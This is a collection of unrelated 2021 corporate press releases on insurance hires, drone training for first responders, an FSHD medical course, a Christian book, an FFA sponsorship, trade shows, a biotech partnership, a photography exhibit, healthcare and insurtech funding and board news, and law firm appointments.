"The first step is prevention; the second is the human connection and focusing on best outcomes for our brokers and clients, said David Fontain, Founder and CEO at Foresight. Were looking forward to the dedicated and personalized claims handling approach that Laura will bring to Foresight."

Thomas joins the company with over 30 years of insurance claims experience, most recently working in client services at Sedgwick, where she focused on providing the best strategies for captive programs. Her substantial experience strengthens Foresights ability to deliver advantageous results without compromising the recovery of injured workers.

"If we only focus on the end result, we might forget about the faces behind it, Thomas said. To reach the mutually beneficial outcomes Foresight is pursuing, three important elements must exist: care, concern, compassion. Im excited to continue on the great progress Foresight has already made with the expansion of those elements.

Thomas hire comes at a time of rapid growth, as Foresight recently expanded its insurance offerings with new availability of Commercial Property and Inland Marine insurance lines, including Motor Truck Cargo, Contractors Equipment, and Builders Risk, which are offered as a complement to Workers Compensation. Foresights coverage is currently offered in 8 states with plans to expand into several regions later this year.

Thomas has received certifications in International Marketing from California State University and in Workers Compensation from Michigan State University.

About Foresight

Foresight is the first insurtech specializing in commercial coverage for the hard-to-place middle market. Our mission is to improve every business we underwrite, starting with workplace safety. Foresight wraps innovative risk management technology into every policy, reducing workplace incident frequency by up to 57% and giving policyholders the ability to earn lower premiums. Learn more about us at getforesight.com.
CT-based Aquiline Drones is offering all police officers and firefighters in the nation free drone pilot training from now until the end of the year. "It's our privilege and corporate responsibility to offer first responders free drone pilot training to keep them safe and secure while in the line of duty and help them become the best drone operators in the nation."

From raging wildfires out West to devastating building collapses on the East, police and firefighters constantly rise to the challenge of keeping Americans safe. Now, Aquiline Drones (AD), a commercial drone manufacturing and cloud technology company in Connecticut, is returning the favor. Specifically, AD is offering free drone pilot training in the companys Flight to the Future (F2F) program to all police officers and firefighters nationwide from now until the end of the year. Several police and firefighting squads in the state have already enrolled in the proprietary program, which costs $1,299 for other participants.

"We originally created Flight to the Future as a way to provide new high-tech skills in a burgeoning industry to unemployed workers during the pandemic to fulfill everyday services such as asset inspection, videography, smart farming and land surveying and mapping, said Barry Alexander, Founder and CEO of Aquiline Drones. But using drones to help better society and save human lives was the impetus in creating our company and were excited to do our part in arming those in the line of duty with crucial training to keep them safe and secure.

The interactive online course teaches police and fire professionals how to safely and effectively utilize drone technology in their daily missions. The educational content is available on-demand at any time, so participants can take the course at their own convenience. Besides earning their FAA Part 107 commercial drone pilot certification, F2F program participants will also learn about cloud computing, AI, the Internet of Things (IoT) and other technologies transforming the unmanned aerial vehicle (UAV) industry.

Interested parties may apply for free enroll by sending an email with full contact information to: info@AquilineDrones.com For a detailed summary of the curriculum, please visit:

https://www.youtube.com/watch?v=lMpMdKKRPkY

Alexander notes that drones have long been thought of as eyes in the sky to assess emergency situations, including search and rescue, crime scene analysis, mapping, active shooter investigations, event monitoring, and accident reconstruction from their portrayal on TV and film. More detailed, real-world applications for police and firefighter officers include:



Emergency Response - When seconds count, drones can be sent ahead of the first responders to assess the situation on the ground, give responders a critical heads-up and also be used to deliver lifesaving supplies and equipment to victims that are not readily reachable by a human in time.

Law enforcement - When emergency calls are received that involve criminal activities, drones can be deployed ahead of police arrival to provide first-person viewing (FPV) and real time situational awareness, thus capturing crimes in action, providing first responders with live footage of the scene and even recording footage/images of criminals that may have left the scene prior to the arrival of the authorities. This has the powerful potential of reducing law enforcement costs from pursuing criminals through prolonged investigations, improving conviction rates, reducing wrongful arrests and convictions, and ultimately saving taxpayer dollars on processing arrestees and court cases. In this context, drones can be outfitted with audible devices i.e., sirens and flashing blue and red lights indicating the arrival of law enforcement on the scene, thereby serving as deterrents to crimes or escalations, while improving response rates for cities. Subsequently, police authorities will be safer on the job and more effective at solving or fighting crimes that truly necessitate their involvement.

We envision a world in which humans and drones live and operate in harmony, using their real-time control, autonomy and analytics to enhance safety, increase efficiency and prevent unnecessary deaths, adds Alexander. It is our corporate responsibility to ensure that all first responders partake in this essential training to become the best drone operators in the world.

About Aquiline Drones

Aquiline Drones is the leading American drone company founded by highly experienced aviators, systems engineers, and IT gurus. With a customer-centric model, US-based manufacturing, and world-class MRO services, the company offers innovative ways of using drones in commercial activities. Supported by a dedicated UAV cloud, autonomous drone operations with real-time control, and dynamic on-field decision-making capabilities, Aquiline Drones' full-spectrum of technological solutions provide increased applicability across countless industries and environments by delivering real-time data insights. Aerospace-compliant processes for software, hardware manufacturing, and systems integration, along with best-in-class mission capabilities, are being planned and designed. The company continues to forge relationships with federal, state, and private organizations, developing and collaboratively launching new drone applications. Visit http://www.AquilineDrones.com for more information and follow all exciting company news and updates on ADs social platforms
We want medical providers to be aware of these exciting prospects for treatment and to know how to connect their patients with FSHD to resources and studies so that they can fully benefit from these advances.

The FSHD Society is offering its first-ever CME-accredited masterclass on facioscapulohumeral muscular dystrophy (FSHD). This course, which will be held virtually on August 12, is of interest to any physician and allied health professional who sees adult and pediatric neuromuscular patients. Practitioners in neurology, primary care, rehabilitation medicine, orthopedics, and physical therapy are among those who are likely to encounter individuals with undiagnosed FSHD. The half-day course will cover diagnosis and management in adult and pediatric patients; updates on genetic and epigenetic testing; and molecular pathophysiology, current treatment strategies, and clinical trials. Attendees can earn up to 4.25 continuing medical education (CME) credits.

Although FSHD is one of the most common forms of muscular dystrophy, it is often under-diagnosed, and diagnosed patients dont always benefit from the existing standards of care. With the recent completion of a Phase 2b clinical trial showing promising disease modifying results and several additional clinical trials gearing to launch in 2022, this course ensures that all clinicians caring for FSHD patients have access to the latest updates in diagnosis and management of their patients. In developing this masterclass, the FSHD Society says it aims to shorten the diagnostic journey (currently averaging 9 years) and improve care so that patients can fully benefit from future treatments.

Registrants from all geographic locations will be able to log in to the live webcast, which will include interactive sessions with ample time for questions and discussion. The course will be taught by a faculty that includes internationally recognized authorities in the field, including:



Rabi Tawil, MD, University of Rochester

Kathy Mathews, MD, University of Iowa

Jacinda Sampson, MD PhD, Stanford University

Katy Eichinger, DPT, University of Rochester

Kiera Berggren, MA/CCC-SLP, Virginia Commonwealth University

Bassem Elhassan, MD, MassGeneral Hospital

Michelle Cao, MD, Stanford University

Kent Drescher, PhD, Stanford VA (retired)

Jeffrey Statland, MD, University of Kansas

Doris Leung, MD PhD, Johns Hopkins University

With several disease-modifying therapies currently in development, this is a time of unprecedented hope for people with FSHD, said June Kinoshita, director of research and patient engagement at the FSHD Society. We want medical providers to be aware of these exciting prospects for treatment and to know how to connect their patients with FSHD to resources and studies so that they can fully benefit from these advances.

People who are interested in taking the course can register for a $50 fee on the FSHD Masterclass Registration Page.

About the FSHD Society

The FSHD Society is the worlds largest research-focused patient advocacy organization for facioscapulohumeral muscular dystrophy (FSHD), one of the most prevalent forms of muscular dystrophy. The Society has catalyzed major advancements and is accelerating the development of treatments and a cure to end the pain, disability, and suffering endured by one million people worldwide who live with FSHD. The FSHD Society has transformed the landscape for FSHD research and is committed to making sure that no one faces this disease alone. The Society offers a community of support, news, and information through its website.

Accreditation and Designation Statements and Disclosure Report

This activity has been planned and implemented in accordance with the accreditation requirements and policies of the Accreditation Council for Continuing Medical Education (ACCME) through the joint providership of PeerPoint Medical Education Institute and the FSHD Society.

PeerPoint Medical Education Institute is accredited by the ACCME to provide continuing medical education for physicians. PeerPoint Medical Education Institute designates the live format for this educational activity for a maximum of 4.25 AMA PRA Category 1 Credits. Physicians should only claim credit commensurate with the extent of their participation in the activity.
My hope in writing this book is that believers from all walks of life, both men and women, would explore their full potential through the discovery of their identity in these pages. - Raymond Yackell

Pastor Raymond Yackell invites readers to explore the benefits they are given in their true identities in Jesus Christ as sons and daughters in his new book, Chickens Are Landbound: A Journey to Identity and Sonship.

As believers, we often go through our journey with God, with very little understanding of the true meaning of sonship, stated Raymond Yackell, Chickens are Landbound. My hope in writing this book is that believers from all walks of life, both men and women, would explore their full potential through the discovery of their identity in these pages.

Chickens Are Landbound was originally self-published by Raymond Yackell in 2018 before he opted to republish his book, in 2021, through Christian publisher God Manifest Publishing located in Houston, Texas.

This book will take readers on a journey to discover who Father God in Heaven designed them to be. Also, within its pages, readers will also discover who God is in them and through them to the world. This book is dripping with revelation, true-life stories, and power that will renew the readers mind and heal the wounds of their heart.

Chickens Are Landbound is available digitally and in paperback on Amazon.com and all major online bookstores.

Learn more: https://godmanifestpublishing.com/raymond-yackell/

About Raymond Yackell

Raymond Yackell and his wife Sue founded Flowing Rivers Ministries in 2005 in Houston, Texas. They have a passion for setting captives free and stirring up revival fires in the body of Christ. Their anointing extends into healing and the prophetic, which breaks the yokes of bondage on God's people (Ezekiel 47:7-9 and Luke 4:18). God has given them an anointing to stir up the Godly identity in people and to encourage them to walk into the destiny to which they have been called, to take their rightful place as sons and daughters of the Most High God. In 2017, the Lord spoke to them to begin their itinerant ministry. http://www.flowingrivers4u.org

About God Manifest Publishing

God Manifest Publishing was founded in 2019 to provide big publisher services at a fraction of the cost and a fraction of the authors royalties to new and lesser-known, Christian-based authors. Whether youre seeking a professional publisher to provide the full spectrum of publishing services (copy editing, proofreading, design, and distribution), or youre a self-publisher seeking a publishing partner to provide you with one or more of the many behind the scenes services that authors need, God Manifest Publishing is ready to help your book come alive. https://godmanifestpublishing.com
As the proud sponsor of the National Teacher Ambassadors for FFA Program, G-W supports the FFA mission of developing student potential through agricultural education.

The National Teacher Ambassadors for FFA are a select group of current agriculture teachers who provide training to other teachers, serve as the voice of the FFA organization to educators across the country, and provide FFA with feedback and guidance. Through this partnership, G-W will supply the ambassadors with agriculture, food, and natural resources instructional materials to support their workshops and professional development activities.

G-W shares FFAs passion and commitment to preparing students for success in life and career, and we are proud to partner with them to support their tremendous efforts, said John Flanagan, President of Goodheart-Willcox. Agriculture educators are a dedicated group of individuals who spend countless hours on the job. Our goal is to equip them with ready-to-implement materials that will save them time and provide the background support they need.

The resources that Goodheart-Willcox is providing to the teacher ambassadors align to the agricultural education model, offering support for classroom/laboratory instruction, supervised agricultural experiences, and FFA leadership, so they are a perfect fit, said Molly Ball, President of the National FFA Foundation. FFA is honored to partner with G-W and eager to work with them to grow the next generation of leaders who will change the world.

This years National Teacher Ambassador training began on June 21, 2021. To learn more about the FFA Teacher Ambassador program, visit http://www.ffa.org/teacherambassadors. To explore the full line of G-W agricultural education resources, go to http://www.g-w.com/agriculture.

# # #

About Goodheart-Willcox

Established in 1921, Goodheart-Willcox publishes print and digital instructional materials for Career and Technical Education and Health Education. G-W collaborates with outstanding authors, trustworthy reviewers, and industry-focused trade associations to provide quality, standards-based content with effective pedagogy. Learn more at http://www.g-w.com and on Facebook, Instagram, LinkedIn, and Twitter.

About National FFA Organization

The National FFA Organization is a school-based national youth leadership development organization of more than 760,000 student members as part of 8,700 local FFA chapters in all 50 states and Puerto Rico. The FFA mission is to make a positive difference in the lives of students by developing their potential for premier leadership, personal growth and career success through agricultural education. For more, visit the National FFA Organization online at FFA.org and on Facebook and Twitter.
Heilind Electronics will be exhibiting at MD&M West in Anaheim from August 10 through 12.

Heilind Electronics, a leading global distributor of electronic components, will be an exhibitor at this years MD&M West | Medical Design & Manufacturing Event the medical technology industrys largest expo. The event serves to connect suppliers, buyers and innovative thinkers, allowing them to jointly create powerful solutions and life-changing medical devices. Heilind will be showcasing a variety of components from leading product manufacturers like JAE, Molex and TE Connectivity.

Heilind is very excited to be exhibiting at MD&M West, said Eric Van Poppelen, Branch Manager, Heilind Electronics. Our technical sales and service team looks forward to meeting with engineers and members of the supply chain from the medical device industry. Heilinds deep and broad product offering in connectors and sensors assists in improving product design and ensures continuity of supply for our customers.

Heilind Electronics works with companies of all sizes in the medical field, from start-ups to large multinational OEMs. The company will have representatives at booth #887 for the duration of the exhibition, which will be held from August 10 through 12 at the Anaheim Convention Center in Anaheim, California.

About Heilind Electronics

Heilind Electronics, Inc. (https://www.heilind.com) is one of the world's leading distributors of connectors, relays, sensors, switches, thermal management and circuit protection products, terminal blocks, wire and cable, wiring accessories and insulation and identification products. Founded in 1974, Heilind has locations throughout the U.S., Canada, Mexico, Brazil, Germany, Singapore, Hong Kong and China.
The vision for RASTRUM is to revolutionise the way we approach the drug discovery process by accelerating the evolution of drugs from the lab bench to the hospital bed - Dr. Julio Ribeiro, CEO of Inventia Life Science

Inventia Life Science and PhenoVista Biosciences have secured a strategic partnership to super-charge 3D cell biology research services with the installation of Inventias 3D Cell Culture Platform  RASTRUM  at PhenoVistas California site. This addition to PhenoVistas instrument portfolio will help complement the companys existing expertise in high content imaging and phenotypic assays by providing a means to produce complex 3D cell models in high-throughput. This new joint effort aims to provide next generation complex models using 3D cell cultures for PhenoVista Biosciences current oncology and neurobiology focused assay portfolio. Initially spawned through an on-going project with a major Pharma company on two undisclosed targets, the partnership combines PhenoVistas extensive assay development and imaging experience with Inventias automated 3D cell culture platform to help alleviate the major challenges the industry faces to routinely adopt 3D cell models - throughput and reproducibility.

Based in San Diego, PhenoVista currently offers hundreds of different assays encompassing a range of cell types, which are tailored to specific therapeutic areas and biological applications. The incorporation of the RASTRUM platform will significantly build upon PhenoVistas existing assay capabilities and enhance the companys core strengths in imaging and assay services.

The RASTRUM 3D cell culture platform from Inventia Life Science is quickly gaining global recognition with numerous customers in Australia, Europe and the USA. Its growing international customer base of Pharma, CRO and academic clients are fast adopting the innovative 3D cell model solutions which encompass both healthy and diseased tissue.

The vision for RASTRUM is to revolutionise the way we approach the drug discovery process by accelerating the

evolution of drugs from the lab bench to the hospital bed, says Dr. Julio Ribeiro, CEO of Inventia Life Science.

Learn More:

Contact Dr Jeremy Dobrowolski (jeremy.dobrowolski@inventia.life)

or Dr Lyndon Raftery (lyndon.raftery@inventia.life)

Visit Inventia Life Science at inventia.life

Australia: 1800 849 128

USA: +1 833 462 5959

Ireland: +353 818 370 035

About Inventia Life Science:

Inventia Life Science is a fast-growing biotech start-up based in Sydney, Australia, that is revolutionising cancer research, drug discovery and regenerative medicine. The award-winning RASTRUM cell culture platform has already been adopted in leading medical research institutes, biotechnology and pharmaceutical companies which are creating printed 3D tissue mimics that model real biology. In addition, Inventia is already working with clinical partners to advance regenerative medicine in areas such as bioprinted skin for the repair of burns and wounds.

About PhenoVista Biosciences:

PhenoVista Biosciences is the leading provider of custom imaging-based phenotypic assay services. With a collaborative and scientifically driven project design and management approach, PhenoVista has a proven track record of delivering high-quality data from robust and scalable assays. PhenoVistas key advantage lies in the ability of their industry-trained scientists to combine world-class understanding of diverse biological systems with cutting-edge quantitative imaging to deliver clear, actionable output data. For more information, please visit http://www.PhenoVista.com, LinkedIn, Twitter, Facebook.
For 50 years, Dennis Chalkin has been capturing fortuitous collisions of New York Citys unique riches of lights, shadows, angles and characters.

Giant Ledge Production Company is thrilled to present the works of Dennis Chalkin at the show RETURN TO BROOKLYN from July 16 to July 20 at the Giant Ledge pop-up gallery at 17 Frost Street.

For 50 years, Dennis Chalkin has been capturing fortuitous collisions of New York Citys unique riches of lights, shadows, angles and characters. Through his discerning lens, he has recorded countless stunning slices of time.

Chalkins commercial work has been consumed broadly on the covers of Time Magazine and The New York Times Magazine, as well as through national branding campaigns, but his real jewel is his unique and poignant body of artwork: a gritty, seasoned point of view, and an often-humorous commentary on the coincidental, the strong-willed and the too-often invisible minor miracles that transpire daily throughout our city. For the first time, Chalkin returns, art in tow, to his native Brooklyn, to reveal to the public what its been exposing to his camera for so long.

Chalkin studied drawing, painting, and photography at The Cooper Union under the tutelage of preeminent artists including Diane Arbus and Jay Maisel. Upon graduating in 1969, he worked as a freelance news photographer for the New York Times where his work appeared in the newspaper and Sunday magazine.

In the ensuing years, Chalkins work has appeared in the Wall Street Journal and on the cover and pages of Business Week, Money Magazine, and Audience Magazine. His work featured prominently in successful advertising campaigns for household names like Saab, Volvo, Cadillac, IBM, Maxell, Sony, Bank of New York, and Hasbro, among others.

Chalkin will be bringing his artwork to Giant Ledge for a thought-provoking and engaging display of photography. A reception with the artist will be held on Saturday, July 17. Hours will be from 3PM to 5PM and from 7PM to 11PM.

For information on the artist visit DennisChalkin.com. For more information on this and other Giant Ledge pop-up shows, visit GiantLedge.com

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About Giant Ledge Production Co.: With years of experience working with creatives, such as gallery artists, graphic designers, touring musicians, recording musicians, photographers and more, Giant Ledge Productions Co. connects artists and audiences with the goal of producing visceral and high-quality works for all to enjoy. Giant Ledges pop-up gallery is open at 17 Frost Street in Brooklyn for the entire month of July 2021.
HEP believes that Kno2s technology will break through the historical barriers preventing clinical information exchange on a broad basis.

Kno2, the company that enables interoperability at scale, today announced that it has raised $15 million in a Series A funding round to advance its purpose to connect all participants across the care continuum, human or technology, for the secure, effortless and maximized exchange of patient information. The funding round was co-led by Health Enterprise Partners (HEP) and Providence Ventures.

The new funding will enable Kno2 to accelerate continued expansion of connectivity and workflows across the platform while growing the breadth and depth of the partner base integrated with the companys APIs. It will also enable Kno2 to expand its reach to underserved markets such as small to medium physician offices, post-acute and behavioral health providers, community services, and more  connecting these critical participants to the rest of the healthcare ecosystem.

Healthcare has become disillusioned with interoperability, says Jon Elwell, CEO of Kno2. For years, we have watched rounds of legislation, billions of dollars in investment, and a multitude of predications that soon we were going to wake up to an entirely connected ecosystem. Unfortunately the opposite has been true, but, Kno2 is changing this reality. Elwell continues, Through our unique approach which incorporates not only our technology but also our partnership and economic models, we are disrupting the status quo and ensuring connectedness and meaningful exchange are a reality for all, from the smallest to the largest participant.

HEP believes that Kno2s technology will break through the historical barriers preventing clinical information exchange on a broad basis, says Ezra Mehlman, Managing Partner of HEP. With the market insight afforded to us by our industry limited partners, including many of the nations leading health systems and payers, we are excited to help drive Kno2s expansion strategy, as healthcare organizations finally start transitioning away from fax as the primary form of communication.

Providence Ventures is passionate about funding innovative companies that are demonstrating a positive impact on healthcare, said Jeff Stolte, Senior Partner of Providence Ventures. We welcome Kno2 as our newest portfolio company and are excited to support and help accelerate their vision to modernize communication between disparate stakeholders across healthcare.

Serving as healthcares largest network aggregator, Kno2s patented API technology provides connectivity and secure exchange across every major national network, a growing number of regional networks such as HIEs, cloud fax, proprietary platforms driving critical workflows such as electronic signature and referrals, and continued expansion of EHR integrations through their native APIs. Based upon the need to Send, Receive and Find patient information, Kno2s simple set of REST-based APIs enables healthcare technology vendors to quickly gain access to the entire healthcare ecosystem for exchange across nearly every clinical workflow.

For technology vendors, the Kno2 APIs enable a simple, affordable yet meaningful way to connect their technology and end users to the entire healthcare ecosystem. Since the need to exchange and access patient information from different platforms and applications is rapidly evolving in healthcare, technology vendors integrated with Kno2 APIs are wide and varied, from EHR vendors to digital health platforms to remote patient monitoring and even common office equipment manufacturers.

First Analysis Securities Corporation served as exclusive financial advisor to Kno2 in the transaction.

About Kno2

Kno2 connects all participants across the care continuum, human or technology, for the secure, effortless and maximized exchange of patient information. Serving as healthcares largest network aggregator, Kno2s patented API technology provides connectivity and exchange across every major national network, a growing number of regional networks such as HIEs, cloud fax, proprietary platforms that drive critical workflows, and continued expansion of EHR integrations. A technology vendor no longer has to be concerned with the heavy lift of connecting to each network and can stay focused to their core business and application, driving the best user experience possible within their technology. This is what it means to be Kno2 Connected. To discover how to scale beyond time consuming, costly and antiquated point to point connections, visit http://www.kno2.com.
Hippo turns the traditional industry norm on its head with proactive protection that customers actually need for their homes today.

Hippo, the home insurance group that created a new standard of care and protection for homeowners, today announced that Amy Errett will join the Hippo Board of Directors to support the companys vision to deliver a modern and proactive home insurance experience to homeowners.

Too many homeowners have been exhausted by the challenges of dealing with the antiquated and unintuitive home insurance industry, Errett said. Hippo turns the traditional industry norm on its head with proactive protection that customers actually need for their homes today. I am pleased to join the Hippo Board to help people truly enjoy their homeownership experience.

Hippo brings a proactive approach to home insurance that focuses on whole home protection. The company will benefit from Erretts financial and operational expertise building and growing consumer brands into household names as it establishes Hippo as a bold and distinctive leader in the home insurance industry.

Errett is the founder and CEO of Madison Reed, an omnichannel beauty brand, and a Partner at True Ventures, which has invested in consumer and ecommerce startups, including Peloton, Ring, and Sweetgreen. Prior to founding Madison Reed, Errett was a General Partner responsible for the Bay Area office of Maveron, a leading consumer-sector venture capital firm. Before Maveron, Errett was CEO of Olivia, the travel company for LGBTQ+ women, where she led the repositioning of the travel business to a complete lifestyle company. During her tenure at Olivia, Errett was named the Ernst & Young Entrepreneur of the Year for Northern California. Errett also served on the senior management team at E*TRADE, which followed her 10 years as Founder and CEO of The Spectrem Group, a worldwide strategic consulting firm.

Amy brings extraordinary leadership as both a founder and investor, said Assaf Wand, CEO and Co-founder of Hippo. For years, Ive watched her build businesses that reshape industries and create modern consumer experiences, which is exactly how were reimagining home insurance. Im honored and excited to work alongside a leading operator, passionate entrepreneur, and incredibly smart board member.

Errett is a member of YPO (Young Presidents' Organization) and serves on the boards of the University of Connecticut Foundation, The Bay School of San Francisco, Holey Grail Doughnuts, and Madison Reed. She has a B.A. in liberal arts from the University of Connecticut and an MBA from The Wharton School at the University of Pennsylvania.

Amys appointment to the Hippo Board of Directors comes at a critical point as the company prepares to become a public company. In March 2021, Hippo announced a definitive business combination agreement with Reinvent Technology Partners Z (RTPZ) (NYSE:RTPZ), a special purpose acquisition company that takes a Venture Capital at Scale approach. Upon the closing of the transaction, the combined company will be publicly traded.

About Hippo

Hippo Insurance Services offers a different kind of home insurance, built from the ground up to provide a new standard of care and protection for homeowners. Our goal is to make homes safer and better protected so customers spend less time worrying about the burdens of homeownership and more time enjoying their homes and the life within. Harnessing real-time data, smart home technology, and a growing suite of home services, we are creating the first integrated home protection platform. Hippo is headquartered in Palo Alto, California with offices in Austin and Dallas, Texas and insurance products available to more than 80 percent of U.S. homeowners in 37 states. Hippo Insurance Services is a licensed property casualty insurance agent with products underwritten by various insurance companies. For more information, including licensing information, visit http://www.hippo.com.

Important Information for Investors and Stockholders

This communication relates to a proposed transaction between RTPZ and Hippo. This communication does not constitute an offer to sell or exchange, or the solicitation of an offer to buy or exchange, any securities, nor shall there be any sale of securities in any jurisdiction in which such offer, sale or exchange would be unlawful prior to registration or qualification under the securities laws of any such jurisdiction. RTPZ has filed a registration statement on Form S-4 with the SEC, which includes a document that serves as a prospectus and proxy statement of RTPZ, referred to as a proxy statement/prospectus. The proxy statement/prospectus will be sent to all RTPZ shareholders. RTPZ also will file other documents regarding the proposed transaction with the SEC. Before making any voting decision, investors and security holders of RTPZ are urged to read the registration statement, the proxy statement/prospectus and all other relevant documents filed or that will be filed with the SEC in connection with the proposed transaction as they become available because they will contain important information about the proposed transaction.

Investors and security holders will be able to obtain free copies of the registration statement, the proxy statement/prospectus and all other relevant documents filed or that will be filed with the SEC by RTPZ through the website maintained by the SEC at http://www.sec.gov. The documents filed by RTPZ with the SEC also may be obtained free of charge at RTPZs website at https://z.reinventtechnologypartners.com or upon written request to 215 Park Avenue, Floor 11 New York, NY.

Participants in the Solicitation

RTPZ and Hippo and their respective directors and executive officers may be deemed to be participants in the solicitation of proxies from RTPZs shareholders in connection with the proposed transaction. A list of the names of the directors and executive officers of RTPZ and information regarding their interests in the business combination is contained in the proxy statement/prospectus. You may obtain free copies of these documents as described in the preceding paragraph.

Forward Looking Statements

This communication may be deemed to include certain forward-looking statements within the meaning of the federal securities laws with respect to the proposed transaction between RTPZ and Hippo. These forward-looking statements generally are identified by the words believe, project, expect, anticipate, estimate, intend, strategy, future, opportunity, plan, may, should, will, would, will be, will continue, will likely result, and similar expressions. Forward-looking statements are predictions, projections and other statements about future events that are based on current expectations and assumptions and, as a result, are subject to risks and uncertainties. Many factors could cause actual future events to differ materially from the forward-looking statements in this communication, including but not limited to: (i) the risk that the transaction may not be completed in a timely manner or at all, which may adversely affect the price of RTPZs securities; (ii) the risk that the transaction may not be completed by RTPZs business combination deadline and the potential failure to obtain an extension of the business combination deadline if sought by RPTZ; (iii) the failure to satisfy the conditions to the consummation of the transaction, including the adoption of the agreement and plan of merger governing the proposed transaction (the Merger Agreement) by the shareholders of RTPZ, the satisfaction of the minimum trust account amount following redemptions by RPTZs public shareholders and the receipt of certain governmental and regulatory approvals; (iv) the lack of a third party valuation in determining whether or not to pursue the proposed transaction; (v) the inability to complete the PIPE investment in connection with the transaction; (vi) the occurrence of any event, change, or other circumstance that could give rise to the termination of the Merger Agreement; (vii) the effect of the announcement or pendency of the transaction on Hippos business relationships, operating results, and business generally; (viii) risks that the proposed transaction disrupts current plans and operations of Hippo and potential difficulties in Hippo employee retention as a result of the transaction; (ix) the outcome of any legal proceedings that may be instituted against Hippo or against RTPZ related to the Merger Agreement or the proposed transaction; (x) the ability to maintain the listing of RTPZs securities on a national securities exchange; (xi) the potential volatility of the price of RTPZs securities due to a variety of factors, including changes in the competitive and highly regulated industry in which RTPZ plans to operate or Hippo operates, variations in operating performance across competitors, changes in laws and regulations affecting RTPZs or Hippos business, and changes in the combined capital structure; (xii) the ability to implement business plans, forecasts, and other expectations after the completion of the transaction, and identify and realize additional opportunities; (xiii) changes in domestic and foreign business, market, financial, political, and legal conditions; (xiv) natural or man-made catastrophes such as wildfires, hurricanes, typhoons, earthquakes, floods, climate change (including effects on weather patterns, greenhouse gases, sea, land and air temperatures, sea levels, and rain and snow), nuclear accidents, pandemics (including COVID-19), or terrorism or civil unrest; (xv) the continued impact of COVID-19 and related risks; (xvi) the ability to collect reinsurance recoverable, credit developments of reinsurers, and any delays with respect thereto and changes in the cost, quality, or availability of reinsurance; (xvii) the actual amount of new and renewal business, market acceptance of products, and risks associated with the introduction of new products and services and entering new markets; (xviii) the ability to increase the use of data analytics and technology; and (xix) the ability to attract, retain, and expand RTPZs or Hippos customer base. The foregoing list of factors is not exhaustive. You should carefully consider the foregoing factors and the other risks and uncertainties described in the Risk Factors section of RTPZs registration on Form S-1 (File No. 333-249799), the registration statement on Form S-4 discussed above and other documents filed by RTPZ from time to time with the SEC. These filings identify and address other important risks and uncertainties that could cause actual events and results to differ materially from those contained in the forward-looking statements. Forward-looking statements speak only as of the date they are made. Readers are cautioned not to put undue reliance on forward-looking statements, and RTPZ and Hippo assume no obligation and do not intend to update or revise these forward-looking statements, whether as a result of new information, future events, or otherwise. Neither RTPZ nor Hippo gives any assurance that either RTPZ or Hippo or the combined company will achieve its expectations.

Investor Contacts:

Hippo: investors@hippo.com

RTPZ: ir@reinventtechnologypartnersz.com

Media Contacts:

Andrea Collins / Courtney Klosterman

press@hippo.com
Morrison & Foerster, a leading global law firm, is pleased to announce the addition of Babak Nikravesh as a partner in its Global Tax Department, resident in the firms Palo Alto office. Mr. Nikravesh brings to the firm 20 years of experience representing sovereign investors in their investments and other activities in the United States and abroad. The addition of Mr. Nikravesh underscores the continued expansion of Morrison & Foersters tax and funds capabilities in the United States, Asia, and Europe. His arrival follows the addition of Tax partners Anthony Carbone and Jay Blaivas in New York, and Sophie Allen in London, and Funds partners Serena Tan in Asia, and Leonora Shalet in New York.

Mr. Nikraveshs practice focuses on advising non-U.S. institutional investors and managers on their cross-border investment strategies and operations, with a particular focus on complex tax and regulatory issues. He works closely with sovereign wealth funds, public sector pension funds, social security funds, and other international organizations in particular. For two decades, Mr. Nikravesh has counseled investors on hundreds of investment transactions across diverse asset classes and geographies, including funds, co-investments, and direct investments in venture capital, private equity, real estate, infrastructure, and debt.

Babak is a highly experienced tax lawyer with unique, in-depth experience representing sovereign investors at a strategic level, said Eric J. Piesner, Morrison & Foerster Asia Managing Partner. His impressive experience and strong client relationships in this area, coupled with his ability to advise on tax matters relevant to global investors on a range of fund formation, joint ventures, and other transactional matters, offers significant synergies with our existing global funds and investment practices in North America, Asia, and Europe.

Morrison & Foerster is a global industry leader with exceptional corporate and tax practices and an equally impressive international platform, said Mr. Nikravesh. The firms collaborative culture, cross-border coordination, and proven record of successfully integrating lateral partners were also major draws for me. I am looking forward to working with my new colleagues in Palo Alto and elsewhere in the U.S., Asia, and Europe and leveraging my cross-border experience to advise our clients on their most complex business challenges around the globe.

Mr. Nikravesh is a recognized thought leader in the sovereign investment space. He authors the leading treatise on the US taxation of government-linked investors, edits and publishes Sovereign Investor Insights newsletter, a publication for investor clientele, and hosts the annual Sovereign Investor Conference for institutional investors. Mr. Nikraveshs works have also been cited in numerous publications, including The Oxford Guide to Treaties.

Prior to his most recent role as a partner at a prominent global law firm, Mr. Nikravesh practiced for eight years at another global law firm, where he primarily focused his federal tax practice on cross-border transactions and international tax planning for foreign and U.S. clients. Earlier in his career, he practiced at another international law firm for six years. Mr. Nikravesh received his B.A. from the University of California, Berkeley, and his J.D. from the University of California, Los Angeles. Additionally, he earned an LL.M. from the London School of Economics and Political Science and an M.A. from Stanford University.

ABOUT MORRISON & FOERSTER

We are Morrison & Foerstera global firm of exceptional credentials. Our clients include some of the largest financial institutions, investment banks, and Fortune 100, technology, and life sciences companies. Highlighting the firms commitment to client service and leadership in market-changing deals and impact litigation, MoFo was recognized as one of the top 15 firms on The American Lawyers 2020 A-List. Year after year, the firm receives significant recognition from Chambers and The Legal 500 across their various guides, including Global, USA, Asia-Pacific, Europe, UK, Latin America, and FinTech Legal. Our lawyers are committed to achieving innovative and business-minded results for our clients, while preserving the differences that make us stronger. The firm also has a long history of commitment to the community through providing pro bono legal services, including litigating for civil rights and civil liberties, improving public education for poor children, advocating for veterans, promoting international human rights, winning asylum for the persecuted, and safeguarding the environment.
We congratulate Natalie on this new role and are excited for the Maryland State Bar Association to have her leadership." - Steve Heine, President and CEO, Woodsboro Bank

Ms. McSherry is the current Board Chair at Woodsboro Bank. She was appointed to the Banks Board in 2009, then became vice chair in 2012 and board chair in 2016. She has given great dedication and commitment to the board in leading the Bank forward through her leadership abilities and determination.

She has served in various leaderships roles with the Maryland State Bar Association, including member of its Board of Governors and Executive Committee as well as Treasurer.

Ms. McSherry is a principal at Kramon & Graham, PA, a Baltimore MD-based legal firm. She has received numerous awards for her competence, professionalism, civility and commitment to public service; most recently receiving the 2020 University of Maryland Carey Law Distinguished Graduate Award.

She is a graduate of Manhattan College with a B.A. Degree, and she earned her Juris Doctrine with honors from University of Maryland Law School.

We congratulate Natalie on this new role and are excited for the Maryland State Bar Association to have her leadership, said Steve Heine, President and CEO of Woodsboro Bank.
